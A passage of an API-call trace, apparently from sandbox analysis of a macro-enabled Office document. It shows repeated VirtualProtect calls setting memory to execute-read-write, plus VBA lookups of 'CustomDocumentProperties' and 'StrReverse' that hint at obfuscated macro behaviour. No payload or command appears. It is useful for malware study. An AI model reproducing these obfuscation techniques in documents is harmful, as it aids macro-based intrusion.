() returned 0xffffffff [0084.588] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0084.589] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.589] GetCurrentProcess () returned 0xffffffff [0084.589] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0084.589] GetCurrentProcess () returned 0xffffffff [0084.589] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0084.589] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.589] GetCurrentProcess () returned 0xffffffff [0084.589] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0084.589] GetCurrentProcess () returned 0xffffffff [0084.589] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0084.589] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.590] GetCurrentProcess () returned 0xffffffff [0084.590] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0084.590] GetCurrentProcess () returned 0xffffffff [0084.590] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0084.590] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.590] GetCurrentProcess () returned 0xffffffff [0084.590] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0084.590] GetCurrentProcess () returned 0xffffffff [0084.590] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0084.590] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.591] GetCurrentProcess () returned 0xffffffff [0084.591] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0084.591] GetCurrentProcess () returned 0xffffffff [0084.591] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0084.591] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.591] GetCurrentProcess () returned 0xffffffff [0084.591] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0084.591] GetCurrentProcess () returned 0xffffffff [0084.591] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0084.591] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.592] GetCurrentProcess () returned 0xffffffff [0084.592] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0084.592] GetCurrentProcess () returned 0xffffffff [0084.592] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0084.592] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.592] GetCurrentProcess () returned 0xffffffff [0084.592] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0084.592] GetCurrentProcess () returned 0xffffffff [0084.592] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0084.592] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.593] GetCurrentProcess () returned 0xffffffff [0084.593] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0084.593] GetCurrentProcess () returned 0xffffffff [0084.593] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0084.593] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.593] GetCurrentProcess () returned 0xffffffff [0084.593] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0084.593] GetCurrentProcess () returned 0xffffffff [0084.593] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0084.593] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.594] GetCurrentProcess () returned 0xffffffff [0084.594] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0084.594] GetCurrentProcess () returned 0xffffffff [0084.594] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0084.594] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.594] GetCurrentProcess () returned 0xffffffff [0084.594] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0084.594] GetCurrentProcess () returned 0xffffffff [0084.594] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0084.594] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.595] GetCurrentProcess () returned 0xffffffff [0084.595] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0084.595] GetCurrentProcess () returned 0xffffffff [0084.595] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0084.595] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.595] GetCurrentProcess () returned 0xffffffff [0084.595] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0084.595] GetCurrentProcess () returned 0xffffffff [0084.595] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0084.596] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.596] GetCurrentProcess () returned 0xffffffff [0084.596] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0084.596] GetCurrentProcess () returned 0xffffffff [0084.596] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0084.596] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.596] GetCurrentProcess () returned 0xffffffff [0084.596] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0084.596] GetCurrentProcess () returned 0xffffffff [0084.596] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0084.596] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.597] GetCurrentProcess () returned 0xffffffff [0084.597] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0084.597] GetCurrentProcess () returned 0xffffffff [0084.597] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0084.597] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.597] GetCurrentProcess () returned 0xffffffff [0084.597] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0084.597] GetCurrentProcess () returned 0xffffffff [0084.597] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0084.597] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.598] GetCurrentProcess () returned 0xffffffff [0084.598] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0084.598] GetCurrentProcess () returned 0xffffffff [0084.598] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0084.598] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.598] GetCurrentProcess () returned 0xffffffff [0084.598] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0084.598] GetCurrentProcess () returned 0xffffffff [0084.598] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0084.598] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.599] GetCurrentProcess () returned 0xffffffff [0084.599] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0084.599] GetCurrentProcess () returned 0xffffffff [0084.599] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0084.599] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.599] GetCurrentProcess () returned 0xffffffff [0084.599] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0084.599] GetCurrentProcess () returned 0xffffffff [0084.599] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0084.599] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.600] GetCurrentProcess () returned 0xffffffff [0084.600] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0084.600] GetCurrentProcess () returned 0xffffffff [0084.600] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0084.600] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.600] GetCurrentProcess () returned 0xffffffff [0084.600] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0084.600] GetCurrentProcess () returned 0xffffffff [0084.600] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0084.600] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.601] GetCurrentProcess () returned 0xffffffff [0084.601] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0084.601] GetCurrentProcess () returned 0xffffffff [0084.601] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0084.601] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.601] GetCurrentProcess () returned 0xffffffff [0084.601] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0084.601] GetCurrentProcess () returned 0xffffffff [0084.601] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0084.601] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.602] GetCurrentProcess () returned 0xffffffff [0084.602] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0084.602] GetCurrentProcess () returned 0xffffffff [0084.602] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0084.602] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.603] GetCurrentProcess () returned 0xffffffff [0084.603] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0084.603] GetCurrentProcess () returned 0xffffffff [0084.603] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0084.603] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.604] GetCurrentProcess () returned 0xffffffff [0084.604] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0084.604] GetAsyncKeyState (vKey=3) returned 0 [0084.605] CRetailMalloc_Alloc () returned 0xca90a78 [0084.605] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2d0a, cbMultiByte=15, lpWideCharStr=0x1976a4, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0084.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112802aa, cbMultiByte=15, lpWideCharStr=0x197704, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0084.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112802aa, cbMultiByte=15, lpWideCharStr=0x197704, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0084.612] CRetailMalloc_Alloc () returned 0xc8f3bc0 [0084.612] CRetailMalloc_Realloc () returned 0xcb695a8 [0084.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112802aa, cbMultiByte=15, lpWideCharStr=0x1976c4, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0084.612] CRetailMalloc_Realloc () returned 0xc824b98 [0084.613] CRetailMalloc_Realloc () returned 0xcaa9938 [0084.614] memcpy (in: _Dst=0xfa54f3c, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.614] CRetailMalloc_Alloc () returned 0xc8f3c20 [0084.614] CRetailMalloc_Realloc () returned 0xca85888 [0084.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112802d6, cbMultiByte=25, lpWideCharStr=0x1976dc, cchWideChar=26 | out: lpWideCharStr="CustomDocumentProperties") returned 25 [0084.615] CRetailMalloc_Realloc () returned 0xc8b6898 [0084.615] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2d36, cbMultiByte=11, lpWideCharStr=0x1976a4, cchWideChar=12 | out: lpWideCharStr="StrReverse") returned 11 [0084.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280282, cbMultiByte=11, lpWideCharStr=0x197704, cchWideChar=12 | out: lpWideCharStr="StrReverse") returned 11 [0084.616] CRetailMalloc_Realloc () returned 0xc8b6ca0 [0084.616] CRetailMalloc_Realloc () returned 0x89406e8 [0084.616] CRetailMalloc_Realloc () returned 0xf333330 [0084.617] memcpy (in: _Dst=0xfa54f38, _Src=0x197888, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.617] CRetailMalloc_Realloc () returned 0xcaa83a8 [0084.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6955ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0084.617] CRetailMalloc_Realloc () returned 0xcb6cbd8 [0084.617] memcpy (in: _Dst=0xca90ad8, _Src=0x197924, _Size=0x18 | out: _Dst=0xca90ad8) returned 0xca90ad8 [0084.617] CRetailMalloc_Realloc () returned 0xca90a78 [0084.618] CRetailMalloc_Free () returned 0x1 [0084.618] GetCurrentProcess () returned 0xffffffff [0084.618] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0084.618] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.618] GetCurrentProcess () returned 0xffffffff [0084.618] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0084.619] GetCurrentProcess () returned 0xffffffff [0084.619] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0084.619] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.619] GetCurrentProcess () returned 0xffffffff [0084.619] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0084.619] GetCurrentProcess () returned 0xffffffff [0084.619] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0084.619] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.620] GetCurrentProcess () returned 0xffffffff [0084.620] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0084.620] GetCurrentProcess () returned 0xffffffff [0084.620] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0084.620] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.620] GetCurrentProcess () returned 0xffffffff [0084.620] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0084.620] GetCurrentProcess () returned 0xffffffff [0084.620] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0084.620] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.621] GetCurrentProcess () returned 0xffffffff [0084.621] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0084.621] GetCurrentProcess () returned 0xffffffff [0084.621] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0084.621] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.621] GetCurrentProcess () returned 0xffffffff [0084.621] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0084.621] GetCurrentProcess () returned 0xffffffff [0084.621] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0084.621] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.622] GetCurrentProcess () returned 0xffffffff [0084.622] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0084.622] GetCurrentProcess () returned 0xffffffff [0084.622] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0084.622] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.622] GetCurrentProcess () returned 0xffffffff [0084.622] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0084.622] GetCurrentProcess () returned 0xffffffff [0084.622] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0084.622] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.623] GetCurrentProcess () returned 0xffffffff [0084.623] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0084.623] GetCurrentProcess () returned 0xffffffff [0084.623] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0084.623] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.623] GetCurrentProcess () returned 0xffffffff [0084.623] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0084.623] GetCurrentProcess () returned 0xffffffff [0084.623] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0084.623] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.624] GetCurrentProcess () returned 0xffffffff [0084.624] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0084.624] GetCurrentProcess () returned 0xffffffff [0084.624] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0084.624] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.624] GetCurrentProcess () returned 0xffffffff [0084.624] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0084.624] GetCurrentProcess () returned 0xffffffff [0084.624] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0084.624] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.625] GetCurrentProcess () returned 0xffffffff [0084.625] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0084.625] GetCurrentProcess () returned 0xffffffff [0084.625] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0084.625] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.625] GetCurrentProcess () returned 0xffffffff [0084.625] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0084.625] GetCurrentProcess () returned 0xffffffff [0084.625] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0084.625] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.626] GetCurrentProcess () returned 0xffffffff [0084.626] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0084.626] GetCurrentProcess () returned 0xffffffff [0084.626] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0084.626] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.626] GetCurrentProcess () returned 0xffffffff [0084.626] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0084.626] GetCurrentProcess () returned 0xffffffff [0084.626] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0084.626] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.627] GetCurrentProcess () returned 0xffffffff [0084.627] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0084.627] GetCurrentProcess () returned 0xffffffff [0084.627] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0084.627] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.627] GetCurrentProcess () returned 0xffffffff [0084.627] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0084.627] GetCurrentProcess () returned 0xffffffff [0084.627] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0084.627] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.628] GetCurrentProcess () returned 0xffffffff [0084.628] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0084.628] GetCurrentProcess () returned 0xffffffff [0084.628] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0084.628] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.628] GetCurrentProcess () returned 0xffffffff [0084.628] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0084.628] GetCurrentProcess () returned 0xffffffff [0084.628] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0084.628] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0084.628] GetCurrentProcess () returned 0xffffffff [0084.629] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0084.629] GetCurrentProcess () returned 0xffffffff [0084.629] FlushInstructionCache (hProcess=0xffffffff, 